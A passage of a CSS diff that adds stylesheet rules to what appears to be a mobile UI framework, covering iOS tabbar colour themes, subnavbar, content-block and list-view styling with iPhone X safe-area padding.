.ios .tabbar .toolbar-inner, + .ios .tabbar-labels .toolbar-inner { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + } + .ios .tabbar a.tab-link, + .ios .tabbar-labels a.tab-link, + .ios .tabbar a.link, + .ios .tabbar-labels a.link { + width: auto; + min-width: 105px; + } + .ios .tabbar-labels { + height: 56px; + } + .ios .tabbar-labels .tabbar-label { + font-size: 14px; + } +} +.ios .tabbar-scrollable .toolbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .tabbar-scrollable a.tab-link, +.ios .tabbar-scrollable a.link { + padding: 0 8px; +} +.ios .toolbar ~ * .page-content, +.ios .toolbar ~ .page-content { + padding-bottom: 44px; +} +.ios .tabbar-labels ~ * .page-content, +.ios .tabbar-labels ~ .page-content { + padding-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .page-content, + .ios .tabbar-labels ~ .page-content { + padding-bottom: 56px; + } +} +.ios .toolbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .toolbar-hidden { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .theme-dark .toolbar, +.toolbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .toolbar:before, +.toolbar.ios .theme-dark:before { + background-color: #282829; +} +.ios .color-theme-red .tabbar a.tab-link-active, +.ios .color-theme-red .tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar a.tab-link-active { + color: #ff3b30; +} +.ios .color-theme-green .tabbar a.tab-link-active, +.ios .color-theme-green .tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar a.tab-link-active { + color: #4cd964; +} +.ios .color-theme-blue .tabbar a.tab-link-active, +.ios .color-theme-blue .tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar a.tab-link-active { + color: #007aff; +} +.ios .color-theme-pink .tabbar a.tab-link-active, +.ios .color-theme-pink .tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar a.tab-link-active { + color: #ff2d55; +} +.ios .color-theme-yellow .tabbar a.tab-link-active, +.ios .color-theme-yellow .tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar a.tab-link-active { + color: #ffcc00; +} +.ios .color-theme-orange .tabbar a.tab-link-active, +.ios .color-theme-orange .tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar a.tab-link-active { + color: #ff9500; +} +.ios .color-theme-gray .tabbar a.tab-link-active, +.ios .color-theme-gray .tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar a.tab-link-active { + color: #8e8e93; +} +.ios .color-theme-white .tabbar a.tab-link-active, +.ios .color-theme-white .tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar a.tab-link-active { + color: #ffffff; +} +.ios .color-theme-black .tabbar a.tab-link-active, +.ios .color-theme-black .tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar a.tab-link-active { + color: #000000; +} +.ios .tabbar-labels.color-red a.tab-link-active, +.ios .tabbar.color-red a.tab-link-active { + color: #ff3b30; +} +.ios .tabbar-labels.color-green a.tab-link-active, +.ios .tabbar.color-green a.tab-link-active { + color: #4cd964; +} +.ios .tabbar-labels.color-blue a.tab-link-active, +.ios .tabbar.color-blue a.tab-link-active { + color: #007aff; +} +.ios .tabbar-labels.color-pink a.tab-link-active, +.ios .tabbar.color-pink a.tab-link-active { + color: #ff2d55; +} +.ios .tabbar-labels.color-yellow a.tab-link-active, +.ios .tabbar.color-yellow a.tab-link-active { + color: #ffcc00; +} +.ios .tabbar-labels.color-orange a.tab-link-active, +.ios .tabbar.color-orange a.tab-link-active { + color: #ff9500; +} +.ios .tabbar-labels.color-gray a.tab-link-active, +.ios .tabbar.color-gray a.tab-link-active { + color: #8e8e93; +} +.ios .tabbar-labels.color-white a.tab-link-active, +.ios .tabbar.color-white a.tab-link-active { + color: #ffffff; +} +.ios .tabbar-labels.color-black a.tab-link-active, +.ios .tabbar.color-black a.tab-link-active { + color: #000000; +} +.ios.device-iphone-x .views > .toolbar, +.ios.device-iphone-x .view > .toolbar, +.ios.device-iphone-x .page > .toolbar, +.ios.device-iphone-x .popup > .toolbar, +.ios.device-iphone-x .panel > .toolbar, +.ios.device-iphone-x .login-screen > .toolbar { + height: calc(44px + constant(safe-area-inset-bottom)); + height: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .views > .toolbar .toolbar-inner, +.ios.device-iphone-x .view > .toolbar .toolbar-inner, +.ios.device-iphone-x .page > .toolbar .toolbar-inner, +.ios.device-iphone-x .popup > .toolbar .toolbar-inner, +.ios.device-iphone-x .panel > .toolbar .toolbar-inner, +.ios.device-iphone-x .login-screen > .toolbar .toolbar-inner { + height: auto; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .views > .tabbar-labels, +.ios.device-iphone-x .view > .tabbar-labels, +.ios.device-iphone-x .page > .tabbar-labels, +.ios.device-iphone-x .popup > .tabbar-labels, +.ios.device-iphone-x .panel > .tabbar-labels, +.ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(50px + constant(safe-area-inset-bottom)); + height: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .views > .tabbar-labels, + .ios.device-iphone-x .view > .tabbar-labels, + .ios.device-iphone-x .page > .tabbar-labels, + .ios.device-iphone-x .popup > .tabbar-labels, + .ios.device-iphone-x .panel > .tabbar-labels, + .ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios.device-iphone-x .toolbar ~ * .page-content, +.ios.device-iphone-x .toolbar ~ .page-content { + padding-bottom: calc(44px + constant(safe-area-inset-bottom)); + padding-bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ * .page-content, +.ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(50px + constant(safe-area-inset-bottom)); + padding-bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ * .page-content, + .ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-left .toolbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-right .toolbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { + position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .subnavbar { + height: 45px; + margin-top: -1px; + padding-top: 1px; + background: #f7f7f8; +} +.ios .subnavbar.no-hairline:after { + display: none !important; +} +.ios .subnavbar .title { + font-weight: 700; + line-height: 1; + overflow: visible; + font-size: 34px; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + letter-spacing: -0.03em; +} +.ios .subnavbar .title { + margin-left: 7px; +} +.ios .subnavbar .left a + a, +.ios .subnavbar .right a + a { + margin-left: 15px; +} +.ios .subnavbar .left { + margin-right: 10px; +} +.ios .subnavbar .right { + margin-left: 10px; +} +.ios .subnavbar .right:first-child { + right: 8px; +} +.ios .subnavbar a.link { + line-height: 44px; + height: 44px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .subnavbar a.icon-only { + min-width: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + margin: 0; +} +.ios .subnavbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .subnavbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .subnavbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .subnavbar-inner { + padding: 0 8px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .subnavbar, +.ios .navbar ~ .subnavbar { + top: 44px; +} +.ios .page-with-subnavbar .page-content, +.ios .subnavbar ~ .page-content, +.ios .subnavbar ~ * .page-content { + padding-top: 44px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .page-content, +.ios .page-with-subnavbar .navbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .subnavbar, +.subnavbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .subnavbar:after, +.subnavbar.ios .theme-dark:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +/* === Content Block === */ +.ios .block { + margin: 35px 0; + padding: 0 15px; + color: #6d6d72; +} +.ios .block-title { + text-transform: uppercase; + color: #6d6d72; + margin: 35px 15px 10px; + line-height: 17px; +} +.ios .block-title + .list, +.ios .block-title + .block, +.ios .block-title + .card, +.ios .block-title + .timeline, +.ios .block-title + .block-header { + margin-top: 10px; +} +.ios .block-strong { + color: #000; + background: #fff; + padding: 15px 15px; +} +.ios .block-strong:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block-strong:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block.inset { + margin-left: 15px; + margin-right: 15px; +} +.ios .block-strong-inset { + border-radius: 7px; +} +.ios .block-header, +.ios .block-footer { + padding: 0 15px; + color: #8f8f94; +} +.ios .block .block-header, +.ios .block .block-footer { + padding: 0 !important; +} +.ios .block-header { + margin-top: 35px; +} +.ios .block-header + .list, +.ios .block-header + .block, +.ios .block-header + .card, +.ios .block-header + .timeline { + margin-top: 10px; +} +.ios .block-footer { + margin-bottom: 35px; +} +.ios .list .block-header, +.ios .block .block-header, +.ios .card .block-header, +.ios .timeline .block-header { + margin-top: 0; +} +.ios .list .block-footer, +.ios .block .block-footer, +.ios .card .block-footer, +.ios .timeline .block-footer { + margin-bottom: 0; +} +.ios .list + .block-footer, +.ios .block + .block-footer, +.ios .card + .block-footer, +.ios .timeline + .block-footer { + margin-top: -25px; +} +.ios .block + .block-footer { + margin-top: -25px; + margin-bottom: 35px; +} +@media (min-width: 768px) { + .ios .block.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .block-strong.tablet-inset { + border-radius: 7px; + } +} +.ios .theme-dark .block-title, +.ios .theme-dark .block-header, +.ios .theme-dark .block-footer { + color: #8E8E93; +} +.ios .theme-dark .block { + color: #8E8E93; +} +.ios .theme-dark .block-strong, +.ios .theme-dark.block-strong { + background-color: #1c1c1d; + color: #fff; +} +.ios .theme-dark .block-strong:before, +.ios .theme-dark.block-strong:before { + background-color: #282829; +} +.ios .theme-dark .block-strong:after, +.ios .theme-dark.block-strong:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-left .block-header, + .ios.device-iphone-x .ios-left-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-left .block-footer { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-right .block-header, + .ios.device-iphone-x .ios-right-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-right .block-footer { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-left: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > 